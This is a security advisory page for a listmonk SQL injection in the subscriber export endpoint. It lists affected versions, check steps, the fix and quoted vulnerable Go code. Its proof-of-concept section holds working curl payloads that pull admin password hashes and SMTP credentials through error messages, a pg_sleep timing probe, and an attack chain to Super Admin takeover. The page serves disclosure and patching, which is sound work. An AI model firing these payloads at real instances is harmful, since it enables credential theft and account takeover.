---
id: "CVE-2026-62361"
page: "https://infrastack.ai/live/CVE-2026-62361"
kind: "vulnerability"
aliases: ["CVE-2026-62361", "GHSA-xgjr-7j9q-2h4r"]
title: "listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials"
severity: "medium"
cvss: 5.5
epss: 0.00297
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/knadh/listmonk", "fixed": ["1.1.1-0.20260619102436-c0a6525009a6"], "affected": "< 1.1.1-0.20260619102436-c0a6525009a6", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-89", "go", "listmonk", "package", "postgresql", "self-hosted"]
not_affected_if: ["auth-required", "default-config"]
published_at: "2026-07-15T21:16:55+00:00"
first_seen_at: "2026-11-06T18:16:16+00:00"
updated_at: "2026-11-06T18:44:09+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-xgjr-7j9q-2h4r", "first_seen_at": "2026-11-06T18:16:16+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62361", "first_seen_at": "2026-11-06T18:44:09+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00297, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-62361"}]
---

# listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

Link for people: https://infrastack.ai/live/CVE-2026-62361 (this .md is for agents)

The subscriber export endpoint in listmonk skips the table access check that the regular subscriber query applies, so an authenticated user can run injected SQL against tables like users and settings. An attacker with that permission can read admin bcrypt hashes and SMTP credentials, and possibly write data through PostgreSQL data-modifying CTEs.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/knadh/listmonk affected < 1.1.1-0.20260619102436-c0a6525009a6 fixed 1.1.1-0.20260619102436-c0a6525009a6

## How to check

- Check the listmonk version in use against the Go module `github.com/knadh/listmonk` and confirm it is at or beyond `1.1.1-0.20260619102436-c0a6525009a6`.
- Review which roles hold the `subscribers:sql_query` permission and whether `subscribers:get_all` is also granted.
- Look for requests to `/api/subscribers/export` with a `query` parameter in web server or application logs.

## Fix

- listmonk: `1.1.1-0.20260619102436-c0a6525009a6`

## Timeline

- 2026-11-06T18:16:16+00:00 ghsa https://github.com/advisories/GHSA-xgjr-7j9q-2h4r
- 2026-11-06T18:44:09+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-62361

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/knadh/listmonk/security-advisories/GHSA-xgjr-7j9q-2h4r
- [advisory] Maintainer's advisory: github.com https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r
- [fix] Patch: github.com https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024
- [fix] Release: github.com https://github.com/knadh/listmonk/releases/tag/v6.2.0

## From the sources

### Summary

A SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

---

### Details

The subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.

**`internal/core/subscribers.go` — protected path (regular query):**

```go
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
        fmt.Sprintf("Error preparing subscriber query: %v", err))
}
```

**`internal/core/subscribers.go` — vulnerable path (export):**

```go
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt)  // executes directly without restriction
```

**`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:**

```sql
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
```

Because the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.

---

### PoC

**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.

**Step 1 — Confirm the bypass (blocked on query, open on export):**

```bash
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
```

**Step 2 — Error-based exfiltration of admin password hash:**

```bash
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"
```

Response:
```json
{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
```

**Step 3 — Error-based exfiltration of SMTP credentials:**

```bash
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"
```

Response:
```json
{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
```

**Step 4 — Time-based blind confirmation:**

```bash
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
```

---

### Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:

- Read bcrypt password hashes of all admin accounts (including Super Admin)
- Extract SMTP credentials, API keys, and all values stored in the `settings` table
- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
- Execute data-modifying SQL via PostgreSQL CTEs (write impact)

**Attack chain:** `subscribers:sql_query` → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is **distinct** from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_